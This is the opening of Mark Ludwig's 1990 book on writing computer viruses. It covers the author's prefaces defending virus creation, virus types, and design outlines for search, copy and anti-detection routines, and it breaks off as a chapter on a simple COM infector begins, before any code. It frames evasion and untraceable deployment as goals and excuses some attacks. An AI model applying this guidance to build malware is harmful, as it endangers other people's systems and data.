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The Little Black Book of Computer Viruses

Mark Ludwig
American Eagle Publications, Inc.
ISBN 0-929408-02-0

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Volume One: The Basic Technology

Text version of this book (zip, 72K)

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American Eagle Publications, Inc.
Post Office Box 1507 Show Low, Arizona 85901, 1996

Copyright 1990 By Mark A. Ludwig, Virus drawings and cover design by Steve Warner

This electronic edition of The Little Black Book of Computer Viruses is copyright 1996 by Mark A. Ludwig. This original Adobe Acrobat file may be copied freely in unmodified form. Please share it, upload it, download it, etc. This document may not be distributed in printed form or modified in any way without written permission from the publisher.

Library of Congress Cataloging-in-Publication Data
Ludwig, Mark A.
          The little black book of computer viruses/by Mark A. Ludwig. p. cm.
          Includes bibliographical references (p.) and index.
          ISBN 0-929408-02-0 (v. 1) : $14.95
          1. Computer viruses I. Title
		QA76.76.C68L83    1990
		005.8- -dc20
Book cover
Photo: Mark Ludwig


And God saw that it was good. And God blessed them, saying 'Be fruitful and multiply.' (Genesis 1:21,22)

Preface to the Electronic Edition

The Little Black Book of Computer Viruses has seen five good years in print. In those five years it has opened a door to seriously ask the question whether it is better to make technical information about computer viruses known or not.

When I wrote it, it was largely an experiment. I had no idea what would happen. Would people take the viruses it contained and rewrite them to make all kinds of horrificly destructive viruses? Or would they by and large be used responsibly? At the time I wrote, no anti-virus people would even talk to me, and what I could find in print on the subject was largely unimpressive from a factual standpoint-lots of hype and fear-mongering, but very little solid research that would shed some light on what might happen if I released this book. Being a freedom loving and knowledge seeking American, I decided to go ahead and do it-write the book and get it in print. And I decided that if people did not use it responsibly, I would withdraw it.

Five years later, I have to say that I firmly believe the book has done a lot more good than harm.

On the positive side, lots and lots of people who desperately need this kind of information-people who are responsible for keeping viruses off of computers-have now been able to get it. While individual users who have limited contact with other computer users may be able to successfully protect themselves with an off-the-shelf anti-virus, experience seems to be proving that such is not the case when one starts looking at the network with 10,000 users on it. For starters, very few anti-virus systems will run on 10,000 computers with a wide variety of configurations, etc. Secondly, when someone on the network encounters a virus, they have to be able to talk to someone in the organization who has the detailed technical knowledge necessary to get rid of it in a rational way. You can't just shut such a big network down for 4 days while someone from your a-v vendor's tech support staff is flown in to clean up, or to catch and analyze a new virus.

Secondly, people who are just interested in how things work have finally been able to learn a little bit about computer viruses. It is truly difficult to deny that they are interesting. The idea of a computer program that can take off and gain a life completely independent of its maker is, well, exciting. I think that is important. After all, many of the most truly useful inventions are made not by giant, secret, government-funded labs, but by individuals who have their hands on something day in and day out. They think of a way to do something better, and do it, and it changes the world. However, that will never happen if you can't get the basic information about how something works. It's like depriving the carpenter of his hammer and then asking him to figure out a way to build a better building.At the same time, I have to admit that this experiment called The Little Black Book has not been without its dangers. The Stealth virus described in its pages has succeeded in establishing itself in the wild, and, as of the date of this writing it is #8 on the annual frequency list, which is a concatenation of the most frequently found viruses in the wild. I am sorry that it has found its way into the wild, and yet I find here a stroke of divine humor directed at certain anti-virus people. There is quite a history behind this virus. I will touch on it only briefly because I don't want to bore you with my personal battles. In the first printing of The Little Black Book, the Stealth was designed to format an extra track on the disk and hide itself there. Of course, this only worked on machines that had a BIOS which did not check track numbers and things like that - particularly, on old PCs. And then it did not infect disks every time they were accessed. This limited its ability to replicate. Some anti-virus developers commented to me that they thought this was a poor virus for that reason, and suggested I should have done it differently. I hesitated to do that, I said, because I did not want it to spread too rapidly.

Not stopping at making such suggestions, though, some of these same a-v people lambasted me in print for having published "lame" viruses. Fine, I decided, if they are going to criticize the book like that, we'll improve the viruses. Next round at the printer, I updated the Stealth virus to work more like the Pakistani Brain, hiding its sectors in areas marked bad in the FAT table, and to infect as quickly as Stoned. It still didn't stop these idiotic criticisms, though. As late as last year, Robert Slade was evaluating this book in his own virus book and finding it wanting because the viruses it discussed weren't very successful at spreading. He thought this objective criticism. From that date forward, it would appear that Stealth has done nothing but climb the wild-list charts. Combining aggressive infection techniques with a decent stealth mechanism has indeed proven effective . . . too effective for my liking, to tell the truth. It's never been my intention to write viruses that will make it to the wild list charts. In retrospect, I have to say that I've learned to ignore idiotic criticism, even when the idiots want to make me look like an idiot in comparison to their ever inscrutable wisdom.

In any event, the Little Black Book has had five good years as a print publication. With the release of The Giant Black Book of Computer Viruses, though, the publisher has decided to take The Little Black Book out of print. They've agreed to make it available in a freeware electronic version, though, and that is what you are looking at now. I hope you'll find it fun and informative. And if you do, check out the catalog attached to it here for more great information about viruses from the publisher.

				Mark Ludwig 
				February 22, 1996


This is the first in a series of three books about computer viruses. In these volumes I want to challenge you to think in new ways about viruses, and break down false concepts and wrong ways of thinking, and go on from there to discuss the relevance of computer viruses in today's world. These books are not a call to a witch hunt, or manuals for protecting yourself from viruses. On the contrary, they will teach you how to design viruses, deploy them, and make them better. All three volumes are full of source code for viruses, including both new and well known varieties.

It is inevitable that these books will offend some people. In fact, I hope they do. They need to. I am convinced that computer viruses are not evil and that programmers have a right to create them, posses them and experiment with them. That kind of a stand is going to offend a lot of people, no matter how it is presented. Even a purely technical treatment of viruses which simply discussed how to write them and provided some examples would be offensive. The mere thought of a million well armed hackers out there is enough to drive some bureaucrats mad. These books go beyond a technical treatment, though, to defend the idea that viruses can be useful, interesting, and just plain fun. That is bound to prove even more offensive. Still, the truth is the truth, and it needs to be spoken, even if it is offensive. Morals and ethics cannot be determined by a majority vote, any more than they can be determined by the barrel of a gun or a loud mouth. Might does not make right.

If you turn out to be one of those people who gets offended or upset, or if you find yourself violently disagreeing with something I say, just remember what an athletically minded friend of mine once told me: "No pain, no gain." That was in reference to muscle building, but the principle applies intellectually as well as physically. If someone only listens to people he agrees with, he will never grow and he'll never succeed beyond his little circle of yes-men. On the other hand, a person who listens to different ideas at the risk of offense, and who at least considers that he might be wrong, cannot but gain from it. So if you are offended by something in this book, please be critical-both of the book and of yourself - and don't fall into a rut and let someone else tell you how to think.

From the start I want to stress that I do not advocate anyone's going out and infecting an innocent party's computer system with a malicious virus designed to destroy valuable data or bring their system to a halt. That is not only wrong, it is illegal. If you do that, you could wind up in jail or find yourself being sued for millions. However this does not mean that it is illegal to create a computer virus and experiment with it, even though I know some people wish it was. If you do create a virus, though, be careful with it. Make sure you know it is working properly or you may wipe out your own system by accident. And make sure you don't inadvertently release it into the world, or you may find yourself in a legal jam... even if it was just an accident. The guy who loses a year's worth of work may not be so convinced that it was an accident. And soon it may be illegal to infect a computer system (even your own) with a benign virus which does no harm at all. The key word here is responsibility. Be responsible. If you do something destructive, be prepared to take responsibility. The programs included in this book could be dangerous if improperly used. Treat them with the respect you would have for a lethal weapon.

This first of three volumes is a technical introduction to the basics of writing computer viruses. It discusses what a virus is, and how it does its job, going into the major functional components of the virus, step by step. Several different types of viruses are developed from the ground up, giving the reader practical how-to information for writing viruses. That is also a prerequisite for decoding and understanding any viruses one may run across in his day to day computing. Many people think of viruses as sort of a black art. The purpose of this volume is to bring them out of the closet and look at them matter-of-factly, to see them for what they are, technically speaking: computer programs.

The second volume discusses the scientific applications of computer viruses. There is a whole new field of scientific study known as artificial life (AL) research which is opening up as a result of the invention of viruses and related entities. Since computer viruses are functionally similar to living organisms, biology can teach us a lot about them, both how they behave and how to make them better. However computer viruses also have the potential to teach us something about living organisms. We can create and control computer viruses in a way that we cannot yet control living organisms. This allows us to look at life abstractly to learn about what it really is. We may even reflect on such great questions as the beginning and subsequent evolution of life.

The third volume of this series discusses military applications for computer viruses. It is well known that computer viruses can be extremely destructive, and that they can be deployed with minimal risk. Military organizations throughout the world know that too, and consider the possibility of viral attack both a very real threat and a very real offensive option. Some high level officials in various countries already believe their computers have been attacked for political reasons. So the third volume will probe military strategies and real-life attacks, and dig into the development of viral weapon systems, defeating anti-viral defenses, etc.

You might be wondering at this point why you should spend time studying these volumes. After all, computer viruses apparently have no commercial value apart from their military applications. Learning how to write them may not make you more employable, or give you new techniques to incorporate into programs. So why waste time with them, unless you need them to sow chaos among your enemies? Let me try to answer that: Ever since computers were invented in the 1940's, there has been a brotherhood of people dedicated to exploring the limitless possibilities of these magnificent machines. This brotherhood has included famous mathematicians and scientists, as well as thousands of unnamed hobbyists who built their own computers, and programmers who love to dig into the heart of their machines. As long as computers have been around, men have dreamed of intelligent machines which would reason, and act without being told step by step just what to do. For many years this was purely science fiction. However, the very thought of this possibility drove some to attempt to make it a reality. Thus "artificial intelligence" was born. Yet AI applications are often driven by commercial interests, and tend to be colored by that fact. Typical results are knowledge bases and the like-useful, sometimes exciting, but also geared toward putting the machine to use in a specific way, rather than to exploring it on its own terms.

The computer virus is a radical new approach to this idea of "living machines." Rather than trying to design something which poorly mimics highly complex human behavior, one starts by trying to copy the simplest of living organisms. Simple one-celled organisms don't do very much. The most primitive organisms draw nutrients from the sea in the form of inorganic chemicals, and take energy from the sun, and their only goal is apparently to survive and to reproduce. They aren't very intelligent, and it would be tough to argue about their metaphysical aspects like "soul." Yet they do what they were programmed to do, and they do it very effectively. If we were to try to mimic such organisms by building a machine - a little robot-which went around collecting raw materials and putting them together to make another little robot, we would have a very difficult task on our hands. On the other hand, think of a whole new universe-not this physical world, but an electronic one, which exists inside of a computer. Here is the virus' world. Here it can "live" in a sense not too different from that of primitive biological life. The computer virus has the same goal as a living organism-to survive and to reproduce. It has environmental obstacles to overcome, which could "kill" it and render it inoperative. And once it is released, it seems to have a mind of its own. It runs off in its electronic world doing what it was programmed to do. In this sense it is very much alive.

There is no doubt that the beginning of life was an important milestone in the history of the earth. However, if one tries to consider it from the viewpoint of inanimate matter, it is difficult to imagine life as being much more than a nuisance. We usually assume that life is good and that it deserves to be protected. However, one cannot take a step further back and see life as somehow beneficial to the inanimate world. If we consider only the atoms of the universe, what difference does it make if the temperature is seventy degrees farenheit or twenty million? What difference would it make if the earth were covered with radioactive materials? None at all. Whenever we talk about the environment and ecology, we always assume that life is good and that it should be nurtured and preserved. Living organisms universally use the inanimate world with little concern for it, from the smallest cell which freely gathers the nutrients it needs and pollutes the water it swims in, right up to the man who crushes up rocks to refine the metals out of them and build airplanes. Living organisms use the material world as they see fit. Even when people get upset about something like strip mining, or an oil spill, their point of reference is not that of inanimate nature. It is an entirely selfish concept (with respect to life) that motivates them. The mining mars the beauty of the landscape-a beauty which is in the eye of the (living) beholder - and it makes it uninhabitable. If one did not place a special emphasis on life, one could just as well promote strip mining as an attempt to return the earth to its pre-biotic state!

I say all of this not because I have a bone to pick with ecologists. Rather I want to apply the same reasoning to the world of computer viruses. As long as one uses only financial criteria to evaluate the worth of a computer program, viruses can only be seen as a menace. What do they do besides damage valuable programs and data? They are ruthless in attempting to gain access to the computer system resources, and often the more ruthless they are, the more successful. Yet how does that differ from biological life? If a clump of moss can attack a rock to get some sunshine and grow, it will do so ruthlessly. We call that beautiful. So how different is that from a computer virus attaching itself to a program? If all one is concerned about is the preservation of the inanimate objects (which are ordinary programs) in this electronic world, then of course viruses are a nuisance.

But maybe there is something deeper here. That all depends on what is most important to you, though. It seems that modern culture has degenerated to the point where most men have no higher goals in life than to seek their own personal peace and prosperity. By personal peace, I do not mean freedom from war, but a freedom to think and believe whatever you want without ever being challenged in it. More bluntly, the freedom to live in a fantasy world of your own making. By prosperity, I mean simply an ever increasing abundance of material possessions. Karl Marx looked at all of mankind and said that the motivating force behind every man is his economic well being. The result, he said, is that all of history can be interpreted in terms of class struggles-people fighting for economic control. Even though many in our government decry Marx as the father of communism, our nation is trying to squeeze into the straight jacket he has laid for us. That is why two of George Bush's most important campaign promises were "four more years of prosperity" and "no new taxes." People vote their wallets, even when they know the politicians are lying through the teeth.

In a society with such values, the computer becomes merely a resource which people use to harness an abundance of information and manipulate it to their advantage. If that is all there is to computers, then computer viruses are a nuisance, and they should be eliminated. Surely there must be some nobler purpose for mankind than to make money, though, even though that may be necessary. Marx may not think so. The government may not think so. And a lot of loud-mouthed people may not think so. Yet great men from every age and every nation testify to the truth that man does have a higher purpose. Should we not be as Socrates, who considered himself ignorant, and who sought Truth and Wisdom, and valued them more highly than silver and gold? And if so, the question that really matters is not how computers can make us wealthy or give us power over others, but how they might make us wise. What can we learn about ourselves? about our world? and, yes, maybe even about God? Once we focus on that, computer viruses become very interesting. Might we not understand life a little better if we can create something similar, and study it, and try to understand it? And if we understand life better, will we not understand our lives, and our world better as well?

A word of caution first: Centuries ago, our nation was established on philosophical principles of good government, which were embodied in the Declaration of Independence and the Constitution. As personal peace and prosperity have become more important than principles of good government, the principles have been manipulated and redefined to suit the whims of those who are in power. Government has become less and less sensitive to civil rights, while it has become easy for various political and financial interests to manipulate our leaders to their advantage.

Since people have largely ceased to challenge each other in what they believe, accepting instead the idea that whatever you want to believe is OK, the government can no longer get people to obey the law because everyone believes in a certain set of principles upon which the law is founded. Thus, government must coerce people into obeying it with increasingly harsh penalties for disobedience-penalties which often fly in the face of long established civil rights. Furthermore, the government must restrict the average man's ability to seek recourse. For example, it is very common for the government to trample all over long standing constitutional rights when enforcing the tax code. The IRS routinely forces hundreds of thousands of people to testify against themselves. It routinely puts the burden of proof on the accused, seizes his assets without trial, etc., etc. The bottom line is that it is not expedient for the government to collect money from its citizens if it has to prove their tax documents wrong. The whole system would break down in a massive overload. Economically speaking, it is just better to put the burden of proof on the citizen, Bill of Rights or no.

Likewise, to challenge the government on a question of rights is practically impossible, unless your case happens to serve the purposes of some powerful special interest group. In a standard courtroom, one often cannot even bring up the subject of constitutional rights. The only question to be argued is whether or not some particular law was broken. To appeal to the Supreme Court will cost millions, if the politically motivated justices will even condescend to hear the case. So the government becomes practically all-powerful, God walking on earth, to the common man. One man seems to have little recourse but to blindly obey those in power.

When we start talking about computer viruses, we're treading on some ground that certain people want to post a "No Trespassing" sign on. The Congress of the United States has considered a "Computer Virus Eradication Act" which would make it a felony to write a virus, or for two willing parties to exchange one. Never mind that the Constitution guarantees freedom of speech and freedom of the press. Never mind that it guarantees the citizens the right to bear military arms (and viruses might be so classified). While that law has not passed as of this writing, it may by the time you read this book. If so, I will say without hesitation that it is a miserable tyranny, but one that we can do little about... for now.

Some of our leaders may argue that many people are not capable of handling the responsibility of power that comes with understanding computer viruses, just as they argue that people are not able to handle the power of owning assault rifles or machine guns. Perhaps some cannot. But I wonder, are our leaders any better able to handle the much more dangerous weapons of law and limitless might? Obviously they think so, since they are busy trying to centralize all power into their own hands. I disagree. If those in government can handle power, then so can the individual. If the individual cannot, then neither can his representatives, and our end is either tyranny or chaos anyhow. So there is no harm in attempting to restore some small power to the individual.

But remember: truth seekers and wise men have been persecuted by powerful idiots in every age. Although computer viruses may be very interesting and worthwhile, those who take an interest in them may face some serious challenges from base men. So be careful.

Now join with me and take the attitude of early scientists. These explorers wanted to understand how the world worked-and whether it could be turned to a profit mattered little. They were trying to become wiser in what's really important by understanding the world a little better. After all, what value could there be in building a telescope so you could see the moons around Jupiter? Galileo must have seen something in it, and it must have meant enough to him to stand up to the ruling authorities of his day and do it, and talk about it, and encourage others to do it. And to land in prison for it. Today some people are glad he did.

So why not take the same attitude when it comes to creating life on a computer? One has to wonder where it might lead. Could there be a whole new world of electronic life forms possible, of which computer viruses are only the most rudimentary sort? Perhaps they are the electronic analog of the simplest one-celled creatures, which were only the tiny beginning of life on earth. What would be the electronic equivalent of a flower, or a dog? Where could it lead? The possibilities could be as exciting as the idea of a man actually standing on the moon would have been to Galileo. We just have no idea.

There is something in certain men that simply drives them to explore the unknown. When standing at the edge of a vast ocean upon which no ship has ever sailed, it is difficult not to wonder what lies beyond the horizon just because the rulers of the day tell you you're going to fall of the edge of the world (or they're going to push you off) if you try to find out. Perhaps they are right. Perhaps there is nothing of value out there. Yet other great explorers down through the ages have explored other oceans and succeeded. And one thing is for sure: we'll never know if someone doesn't look. So I would like to invite you to climb aboard this little raft that I have built and go exploring. ...

The Basics of the Computer Virus

A plethora of negative magazine articles and books have catalyzed a new kind of hypochondria among computer users: an unreasonable fear of computer viruses. This hypochondria is possible because a) computers are very complex machines which will often behave in ways which are not obvious to the average user, and b) computer viruses are still extremely rare. Thus, most computer users have never experienced a computer virus attack. Their only experience has been what they've read about or heard about (and only the worst problems make it into print). This combination of ignorance, inexperience and fear-provoking reports of danger is the perfect formula for mass hysteria.

Most problems people have with computers are simply their own fault. For example, they accidentally delete all the files in their current directory rather than in another directory, as they intended, or they format the wrong disk. Or perhaps someone routinely does something wrong out of ignorance, like turning the computer off in the middle of a program, causing files to get scrambled. Following close on the heels of these kinds of problems are hardware problems, like a misaligned floppy drive or a hard disk failure. Such routine problems are made worse than necessary when users do not plan for them, and fail to back up their work on a regular basis. This stupidity can easily turn a problem that might have cost $300 for a new hard disk into a nightmare which will ultimately cost tens of thousands of dollars. When such a disaster happens, it is human nature to want to find someone or something else to blame, rather than admitting it is your own fault. Viruses have proven to be an excellent scapegoat for all kinds of problems.

Of course, there are times when people want to destroy computers. In a time of war, a country may want to hamstring their enemy by destroying their intelligence databases. If an employee is maltreated by his employer, he may want to retaliate, and he may not be able to get legal recourse. One can also imagine a totalitarian state trying to control their citizens' every move with computers, and a group of good men trying to stop it. Although one could smash a computer, or physically destroy its data, one does not always have access to the machine that will be the object of the attack. At other times, one may not be able to perpetrate a physical attack without facing certain discovery and prosecution. While an unprovoked attack, and even revenge, may not be right, people still do choose such avenues (and even a purely defensive attack is sure to be considered wrong by an arrogant agressor). For the sophisticated programmer, though, physical access to the machine is not necessary to cripple it.

People who have attacked computers and their data have invented several different kinds of programs. Since one must obviously conceal the destructive nature of a program to dupe somebody into executing it, deceptive tricks are an absolute must in this game. The first and oldest trick is the "trojan horse." The trojan horse may appear to be a useful program, but it is in fact destructive. It entices you to execute it because it promises to be a worthwhile program for your computer-new and better ways to make your machine more effective-but when you execute the program, surprise! Secondly, destructive code can be hidden as a "logic bomb" inside of an otherwise useful program. You use the program on a regular basis, and it works well. Yet, when a certain event occurs, such as a certain date on the system clock, the logic bomb "explodes" and does damage. These programs are designed specifically to destroy computer data, and are usually deployed by their author or a willing associate on the computer system that will be the object of the attack. There is always a risk to the perpetrator of such destruction. He must somehow deploy destructive code on the target machine without getting caught. If that means he has to put the program on the machine himself, or give it to an unsuspecting user, he is at risk. The risk may be quite small, especially if the perpetrator normally has access to files on the system, but his risk is never zero.

With such considerable risks involved, there is a powerful incentive to develop cunning deployment mechanisms for getting destructive code onto a computer system. Untraceable deployment is a key to avoiding being put on trial for treason, espionage, or vandalism. Among the most sophisticated of computer programmers, the computer virus is the vehicle of choice for deploying destructive code. That is why viruses are almost synonymous with wanton destruction.

However, we must realize that computer viruses are not inherently destructive. The essential feature of a computer program that causes it to be classified as a virus is not its ability to destroy data, but its ability to gain control of the computer and make a fully functional copy of itself. It can reproduce. When it is executed, it makes one or more copies of itself. Those copies may later be executed, to create still more copies, ad infinitum. Not all computer programs that are destructive are classified as viruses because they do not all reproduce, and not all viruses are destructive because reproduction is not destructive. However, all viruses do reproduce. The idea that computer viruses are always destructive is deeply ingrained in most people's thinking though. The very term "virus" is an inaccurate and emotionally charged epithet. The scientifically correct term for a computer virus is "self-reproducing automaton," or "SRA" for short. This term describes correctly what such a program does, rather than attaching emotional energy to it. We will continue to use the term "virus" throughout this book though, except when we are discussing computer viruses (SRA's) and biological viruses at the same time, and we need to make the difference clear.

If one tries to draw an analogy between the electronic world of programs and bytes inside a computer and the physical world we know, the computer virus is a very close analog to the simplest biological unit of life, a single celled, photosynthetic organism. Leaving metaphysical questions like "soul" aside, a living organism can be differentiated from non-life in that it appears to have two goals: (a) to survive, and (b) to reproduce. Although one can raise metaphysical questions just by saying that a living organism has "goals," they certainly seem to, if the onlooker has not been educated out of that way of thinking. And certainly the idea of a goal would apply to a computer program, since it was written by someone with a purpose in mind. So in this sense, a computer virus has the same two goals as a living organism: to survive and to reproduce. The simplest of living organisms depend only on the inanimate, inorganic environment for what they need to achieve their goals. They draw raw materials from their surroundings, and use energy from the sun to synthesize whatever chemicals they need to do the job. The organism is not dependent on another form of life which it must somehow eat, or attack to continue its existence. In the same way, a computer virus uses the computer system's resources like disk storage and CPU time to achieve its goals. Specifically, it does not attack other self-reproducing automata and "eat" them in a manner similar to a biological virus. Instead, the computer virus is the simplest unit of life in this electronic world inside the computer. (Of course, it is conceivable that one could write a more sophisticated program which would behave like a biological virus, and attack other SRA's.)

Before the advent of personal computers, the electronic domain in which a computer virus might "live" was extremely limited. Computers were rare, and they had many different kinds of CPU's and operating systems. So a tinkerer might have written a virus, and let it execute on his system. However, there would have been little danger of it escaping and infecting other machines. It remained under the control of its master. The age of the mass-produced computer opened up a whole new realm for viruses, though. Millions of machines all around the world, all with the same basic architecture and operating system make it possible for a computer virus to escape and begin a life of its own. It can hop from machine to machine, accomplishing the goals programmed into it, with no one to control it and few who can stop it. And so the virus became a viable form of electronic life in the 1980's.

Now one can create self-reproducing automata that are not computer viruses. For example, the famous mathematician John von Neumann invented a self-reproducing automaton "living" in a grid array of cells which had 29 possible states. In theory, this automaton could be modeled on a computer. However, it was not a program that would run directly on any computer known in von Neumann's day. Likewise, one could write a program which simply copied itself to another file. For example "1.COM" could create "2.COM" which would be an exact copy of itself (both program files on an IBM PC style machine.) The problem with such concoctions is viability. Their continued existence is completely dependent on the man at the console. A more sophisticated version of such a program might rely on deceiving that man at the console to propagate itself. This program is known as a worm. The computer virus overcomes the roadblock of operator control by hiding itself in other programs. Thus it gains access to the CPU simply because people run programs that it happens to have attached itself to without their knowledge. The ability to attach itself to other programs is what makes the virus a viable electronic life form. That is what puts it in a class by itself. The fact that a computer virus attaches itself to other programs earned it the name "virus." However that analogy is wrong since the programs it attaches to are not in any sense alive.

Types of Viruses

Computer viruses can be classified into several different types. The first and most common type is the virus which infects any application program. On IBM PC's and clones running under PC-DOS or MS-DOS, most programs and data which do not belong to the operating system itself are stored as files. Each file has a file name eight characters long, and an extent which is three characters long. A typical file might be called "TRUE.TXT", where "TRUE" is the name and "TXT" is the extent. The extent normally gives some information about the nature of a file-in this case "TRUE.TXT" might be a text file. Programs must always have an extent of "COM", "EXE", or "SYS". Under DOS, only files with these extents can be executed by the central processing unit. If the user tries to execute any other type of file, DOS will generate an error and reject the attempt to execute the file.

Since a virus' goal is to get executed by the computer, it must attach itself to a COM, EXE or SYS file. If it attaches to any other file, it may corrupt some data, but it won't normally get executed, and it won't reproduce. Since each of these types of executable files has a different structure, a virus must be designed to attach itself to a particular type of file. A virus designed to attack COM files cannot attack EXE files, and vice versa, and neither can attack SYS files. Of course, one could design a virus that would attack two or even three kinds of files, but it would require a separate reproduction method for each file type.

The next major type of virus seeks to attach itself to a specific file, rather than attacking any file of a given type. Thus, we might call it an application-specific virus. These viruses make use of a detailed knowledge of the files they attack to hide better than would be possible if they were able to infiltrate just any file. For example, they might hide in a data area inside the program rather than lengthening the file. However, in order to do that, the virus must know where the data area is located in the program, and that differs from program to program.

This second type of virus usually concentrates on the files associated to DOS, like COMMAND.COM, since they are on virtually every PC in existence. Regardless of which file such a virus attacks, though, it must be very, very common, or the virus will never be able to find another copy of that file to reproduce in, and so it will not go anywhere. Only with a file like COMMAND.COM would it be possible to begin leaping from machine to machine and travel around the world.

The final type of virus is known as a "boot sector virus." This virus is a further refinement of the application-specific virus, which attacks a specific location on a computer's disk drive, known as the boot sector. The boot sector is the first thing a computer loads into memory from disk and executes when it is turned on. By attacking this area of the disk, the virus can gain control of the computer immediately, every time it is turned on, before any other program can execute. In this way, the virus can execute before any other program or person can detect its existence.

The Functional Elements of a Virus

Every viable computer virus must have at least two basic parts, or subroutines, if it is even to be called a virus. Firstly, it must contain a search routine, which locates new files or new areas on disk which are worthwhile targets for infection. This routine will determine how well the virus reproduces, e.g., whether it does so quickly or slowly, whether it can infect multiple disks or a single disk, and whether it can infect every portion of a disk or just certain specific areas. As with all programs, there is a size versus functionality tradeoff here. The more sophisticated the search routine is, the more space it will take up. So although an efficient search routine may help a virus to spread faster, it will make the virus bigger, and that is not always so good.

Secondly, every computer virus must contain a routine to copy itself into the area which the search routine locates. The copy routine will only be sophisticated enough to do its job without getting caught. The smaller it is, the better. How small it can be will depend on how complex a virus it must copy. For example, a virus which infects only COM files can get by with a much smaller copy routine than a virus which infects EXE files. This is because the EXE file structure is much more complex, so the virus simply needs to do more to attach itself to an EXE file.

While the virus only needs to be able to locate suitable hosts and attach itself to them, it is usually helpful to incorporate some additional features into the virus to avoid detection, either by the computer user, or by commercial virus detection software. Anti-detection routines can either be a part of the search or copy routines, or functionally separate from them. For example, the search routine may be severely limited in scope to avoid detection. A routine which checked every file on every disk drive, without limit, would take a long time and cause enough unusual disk activity that an alert user might become suspicious. Alternatively, an anti-detection routine might cause the virus to activate under certain special conditions. For example, it might activate only after a certain date has passed (so the virus could lie dormant for a time). Alternatively, it might activate only if a key has not been pressed for five minutes (suggesting that the user was not there watching his computer).

Figure 1: Functional diagram of a virus.

Figure 1: Functional diagram of a virus.

Search, copy, and anti-detection routines are the only necessary components of a computer virus, and they are the components which we will concentrate on in this volume. Of course, many computer viruses have other routines added in on top of the basic three to stop normal computer operation, to cause destruction, or to play practical jokes. Such routines may give the virus character, but they are not essential to its existence. In fact, such routines are usually very detrimental to the virus' goal of survival and self-reproduction, because they make the fact of the virus' existence known to everybody. If there is just a little more disk activity than expected, no one will probably notice, and the virus will go on its merry way. On the other hand, if the screen to one's favorite program comes up saying "Ha! Gotcha!" and then the whole computer locks up, with everything on it ruined, most anyone can figure out that they've been the victim of a destructive program. And if they're smart, they'll get expert help to eradicate it right away. The result is that the viruses on that particular system are killed off, either by themselves or by the clean up crew.

Although it may be the case that anything which is not essential to a virus' survival may prove detrimental, many computer viruses are written primarily to be smart delivery systems of these "other routines." The author is unconcerned about whether the virus gets killed in action when its logic bomb goes off, so long as the bomb gets deployed effectively. The virus then becomes just like a Kamikaze pilot, who gives his life to accomplish the mission. Some of these "other routines" have proven to be quite creative. For example, one well known virus turns a computer into a simulation of a wash machine, complete with graphics and sound. Another makes Friday the 13th truly a bad day by coming to life only on that day and destroying data. None the less, these kinds of routines are more properly the subject of volume three of this series, which discusses the military applications of computer viruses. In this volume we will stick with the basics of designing the reproductive system. And if you're real interest is in military applications, just remember that the best logic bomb in the world is useless if you can't deploy it correctly. The delivery system is very, very important. The situation is similar to having an atomic bomb, but not the means to send it half way around the world in fifteen minutes. Sure, you can deploy it, but crossing borders, getting close to the target, and hiding the bomb all pose considerable risks. The effort to develop a rocket is worthwhile.

Tools Needed for Writing Viruses

Viruses are written in assembly language. High level languages like Basic, C, and Pascal have been designed to generate stand-alone programs, but the assumptions made by these languages render them almost useless when writing viruses. They are simply incapable of performing the acrobatics required for a virus to jump from one host program to another. That is not to say that one could not design a high level language that would do the job, but no one has done so yet. Thus, to create viruses, we must use assembly language. It is just the only way we can get exacting control over all the computer system's resources and use them the way we want to, rather than the way somebody else thinks we should. If you have not done any programming in assembler before, I would suggest you get a good tutorial on the subject to use along side of this book. (A few are mentioned in the Suggested Reading at the end of the book.) In the following chapters, I will assume that your knowledge of the technical details of PC's-like file structures, function calls, segmentation and hardware design-is limited, and I will try to explain such matters carefully at the start. However, I will assume that you have some knowledge of assembly language-at least at the level where you can understand what some of the basic machine instructions, like mov ax,bx do. If you are not familiar with simpler assembly language programming like this, get a tutorial book on the subject. With a little work it will bring you up to speed.

At present, there are three popular assemblers on the market, and you will need one of them to do any work with computer viruses. The first and oldest is Microsoft's Macro Assembler, or MASM for short. It will cost you about $100 to buy it through a mail order outlet. The second is Borland's Turbo Assembler, also known as TASM. It goes for about $100 too. Thirdly, there is A86, which is shareware, and available on many bulletin board systems throughout the country. You can get a copy of it for free by calling up one of these systems and downloading it to your computer with a modem. Alternatively, a number of software houses make it available for about $5 through the mail. However, if you plan to use A86, the author demands that you pay him almost as much as if you bought one of the other assemblers. He will hold you liable for copyright violation if he can catch you. Personally, I don't think A86 is worth the money. My favorite is TASM, because it does exactly what you tell it to without trying to outsmart you. That is exactly what you want when writing a virus. Anything less can put bugs in you programs even when they are correctly written. Which-ever assembler you decide to use, though, the viruses in this book can be compiled by all three. Batch files are provided to perform a correct assembly with each assembler.

If you do not have an assembler, or the resources to buy one, or the inclination to learn assembly language, the viruses are provided in Intel hex format so they can be directly loaded onto your computer in executable form. The program disk also contains compiled, directly executable versions of each virus. However, if you don't understand the assembly language source code, please don't take these programs and run them. You're just asking for trouble, like a four year old child with a loaded gun.

Case Number One: A Simple COM File Infector

In this chapter we will discuss one of the simplest of all computer viruses. This virus is very small, comprising only 264 bytes of machine language instructions. It is also fairly safe, because it has one of the simplest search routines possible. This virus, which we will call TIMID, is designed to only infect COM files which are in the currently logged directory on the computer. It does not jump across directories or drives, if you don't call it from another directory, so it can be easily contained. It is also harmless because it contains no destructive code, and it tells you when it is infecting a new file, so you will know where it is and where it has gone. On the other hand, its extreme simplicity means that this is not a very effective virus. It will not infect most files, and it can easily be caught. Still, this virus will introduce all the essential concepts necessary to write a virus, with a minimum of complexity and a minimal risk to the experimenter. As such, it is an excellent instructional tool.

Some DOS Basics

To understand the means by which the virus copies itself from one program to another, we have to dig into the details of how the operating system, DOS, loads a program into memory and passes control to it. The virus must be designed so it's code gets executed, rather than just the program it has attached itself to. Only then can it reproduce. Then, it must be able to pass control back to the host program, so the host can execute in its entirety as well.

When one enters the name of a program at the DOS prompt, DOS begins looking for files with that name and an extent of "COM". If it finds one it will load the file into memory and execute it. Otherwise DOS will look for files with the same name and an extent of "EXE" to load and execute. If no EXE file is found, the operating system will finally look for a file with the extent "BAT" to execute. Failing all three of these possibilities, DOS will display the error message "Bad command or file name."

EXE and COM files are directly executable by the Central Processing Unit. Of these two types of program files, COM files are much simpler. They have a predefined segment format which is built into the structure of DOS, while EXE files are designed to handle a user defined segment format, typical of very large and complicated programs. The COM file is a direct binary image of what should be put into memory and executed by the CPU, but an EXE file is not.

